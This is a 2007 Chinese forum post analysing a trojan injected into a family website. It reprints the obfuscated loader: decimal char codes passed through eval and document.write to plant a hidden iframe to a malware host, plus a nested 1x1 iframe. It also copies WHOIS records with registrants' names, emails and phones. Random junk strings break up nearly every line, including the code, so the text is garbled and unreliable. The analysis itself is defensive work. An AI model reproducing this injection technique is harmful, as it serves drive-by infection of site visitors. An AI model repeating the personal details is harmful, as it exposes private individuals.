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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ex=)H%_|  
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http://www.areway.cn/?p=175 c-`37. J  
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h-,?a_  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: *@~`d*d  
          0QMaM  
<script>t=’60,105,102,114,97,109,101, <H-tZDh5  
32,115,114,99,61,104,116,116,112,58,47,47, _r[r8M B  
102,114,101,101,46,117,45,117,117,117,46,99, sU0Stg8&b  
110,47,101,114,114,111,114,46,104,116,109, hw|t8 ShW  
32,119,105,100,116,104,61,49,48,48,32,104, cp|:8 [  
101,105,103,104,116,61,48,62,60,47,105,102, n{z8Ao%  
114,97,109,101,62′; iA&oLu[y3  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> qz87iJp&  
                                                                                                  +`9yZOaC#  
<script>t=’60,105,102,114,97,109,101,32,115, >mew"0Q  
114,99,61,104,116,116,112,58,47,47,102,114, q$|0)}  
101,101,46,117,45,117,117,117,46,99,110,47, L1rA T  
101,114,114,111,114,46,104,116,109,32,119, Pwg/Vhfh  
105,100,116,104,61,49,48,48,32,104,101,105, :+<t2^)rD  
103,104,116,61,48,62,60,47,105,102,114,97, rI *!"PL  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 5'62ulwMP=  
document.write(t);</script> NQg'|Pt(%  
                                                                                                  b24di  
<html xmlns=” wFp~  
http://www.w3.org/1999/xhtml ` %l&zwj>  
“> 7x%S](m%  
<head> ,}n=Z  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> $\0TD7p  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> )G^p1o;\  
<title>首页 - 爱生活家庭网 A0UV+ -PP  
                                                                                                                                                    5d%_Wb'  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 T^d#hl.U  
转换字符串后的大概内容是(谁点击后果自付): 2'|XtSj  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ,YQ=Zk)w  
                                                                                                                                  $vW^n4!  
查询玉米u-uuu.cn的详细信息: 0c`sb+?  
Domain Name: u-uuu.cn fJvr+4i4k  
ROID: 20070901s10001s64972306-cn - *r[  
Domain Status: ok HE@-uh  
Registrant Organization: 王雷 $]nVr(OZ_  
Registrant Name: 王雷 >eEnQ}Y  
Administrative Email: czlovexs@126.com kHGeCJe\{  
Sponsoring Registrar: 北京万网志成科技有限公司 O(WEgz  
Name Server:ns.yovole.com mn(/E/  
Name Server:ns1.yovole.com FLK"|*A  
Registration Date: 2007-09-01 17:54 ?ISI[hoc  
Expiration Date: 2008-09-01 17:54 "k/;`eAP  
最后PING了一下地址 都没有什么…. =!(S<];  
                                                                                                W;q#ZD(;  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. %N7gT*B:  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> eSJAPU(D  
<script language=”javascript” src=” -<]\l3E&J  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Av@& hD\  
> ;tXB46  
这个玉米应该有可能是木马作者的: ]!]`~ Z/  
foafau.info的详细信息: =7FE/S  
Access to INFO WHOIS information is provided to assist persons in YomwjKyuP  
determining the contents of a domain name registration record in the ~wa%fM  
Afilias registry database. The data in this record is provided by p .lu4  
Afilias Limited for informational purposes only, and Afilias does not qK{| Q  
guarantee its accuracy.  This service is intended only for query-based ?OdV1xB  
access. You agree that you will use this data only for lawful purposes b=V)?"e-  
and that, under no circumstances will you use this data to: (a) allow, CM`x>J  
enable, or otherwise support the transmission by e-mail, telephone, or RA#\x.  
facsimile of mass unsolicited, commercial advertising or solicitations {bW"~_6}  
to entities other than the data recipient’s own existing customers; or qw6EPC  
(b) enable high volume, automated, electronic processes that send Q -M rH   
queries or data to the systems of Registry Operator, a Registrar, or 7ytm .lU  
Afilias except as reasonably necessary to register domain names or .L~fFns/  
modify existing registrations. All rights reserved. Afilias reserves n'! -Pv  
the right to modify these terms at any time. By submitting this query, O)Xd3w'  
you agree to abide by this policy. k,a,h^{}j  
Domain ID:D22418703-LRMS Lr K9F^c  
Domain Name:FOAFAU.INFO "1_{c *ck  
Created On:20-Nov-2007 16:05:42 UTC &uv>'S#%  
Last Updated On:20-Nov-2007 16:05:44 UTC :yd=No@  
Expiration Date:20-Nov-2008 16:05:42 UTC 5wT' ,U"+  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) l0eANB%Y=@  
Status:CLIENT DELETE PROHIBITED b$;HI7)/K  
Status:CLIENT RENEW PROHIBITED ] dW%g?  
Status:CLIENT TRANSFER PROHIBITED RmcYa j^=  
Status:CLIENT UPDATE PROHIBITED kqjxJ5  
Status:TRANSFER PROHIBITED sx<} tbG  
Registrant ID:GODA-040110615 H4P\hOK7r  
Registrant Name:liu hong z:d Xc  
Registrant Organization: }K#iCby4  
Registrant Street1:beijing Vww@eK%5Q  
Registrant Street2: ;+S2h-4  
Registrant Street3: Z}]:x `fXd  
Registrant City:beijing pA*D/P-  
Registrant State/Province: zfk'>_'  
Registrant Postal Code:100000 =4YbVA+(  
Registrant Country:CN j:3A;r\  
Registrant Phone:+86.860108888777 ]$*$0  
Registrant Phone Ext.: HY*l4QK  
Registrant FAX: Q3 K;kS  
Registrant FAX Ext.: k/$Ja;  
Registrant Email:bbbshiji@163.com SS >:Sw  
Admin ID:GODA-240110615 h<PYE]?l  
Admin Name:liu hong *O2^{ C  
Admin Organization: Se!gs>  
Admin Street1:beijing cRs{=RGc  
Admin Street2: c.|sW2/  
Admin Street3: 8Uj68Jl?  
Admin City:beijing dM);LT8@  
Admin State/Province: 0S)"Q^6n y  
Admin Postal Code:100000 >qSO,$  
Admin Country:CN z'5;f;  
Admin Phone:+86.860108888777 ^4n2 -DvG  
Admin Phone Ext.: .F{}~K]  
Admin FAX: {Hktu|  
Admin FAX Ext.: FE$M[^1_  
Admin Email:bbbshiji@163.com 9$B)hrJo  
Billing ID:GODA-340110615 -~QlHp&SY  
Billing Name:liu hong f 3nnXE"  
Billing Organization: F?yh23&_4  
Billing Street1:beijing e["Z!D_H  
Billing Street2: eukX#0/^  
Billing Street3: $bF`PGR_  
Billing City:beijing YHwVj?6W  
Billing State/Province: GV `idFd  
Billing Postal Code:100000 &-EyM*:u!  
Billing Country:CN z{ Zimr  
Billing Phone:+86.860108888777 Qs#9X=6e@  
Billing Phone Ext.: ?M*C*/R  
Billing FAX: 6/p]jN  
Billing FAX Ext.: |q1b8A\  
Billing Email:bbbshiji@163.com '=@-aVp  
Tech ID:GODA-140110615 _*OaiEL+:  
Tech Name:liu hong *@b~f&Lx6  
Tech Organization: hW*^1%1  
Tech Street1:beijing bTA14&& q  
Tech Street2: $6 Q2)^LJ  
Tech Street3: Z7K!"I  
Tech City:beijing ^*$WZMMJ1  
Tech State/Province: qiwQUm{  
Tech Postal Code:100000 $G^H7|PzdC  
Tech Country:CN \rw'QAi8r  
Tech Phone:+86.860108888777 cG~_EX$  
Tech Phone Ext.: vZ1D3ytfG  
Tech FAX: s5_1}KKCs  
Tech FAX Ext.: ^^j|0qshL  
Tech Email:bbbshiji@163.com J8`1V `$  
Name Server:NS27.DOMAINCONTROL.COM QrrZF.  
Name Server:NS28.DOMAINCONTROL.COM OI;L9\MJc  
Name Server: g%<{G/Tz  
Name Server: <uWJ>sg^ 6  
Name Server: Gc3PN  
Name Server: P~b%;*m}8  
Name Server: vl#V-UW$4P  
Name Server: DbPBgD>Q  
Name Server: r&j+;JM5  
Name Server: iG;d0>Sp  
Name Server: l:kE^=6  
Name Server: J\Oc]gi\L  
Name Server: L@^ !(  
                                                                                                          ]9~#;M%1  
接着下载每个文件里面的代码: <+mO$0h"r  
一步一步看.. 5jj5 7j"  
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R[ +]d|L  
MOH,'@&6^  
B4M'Er{v  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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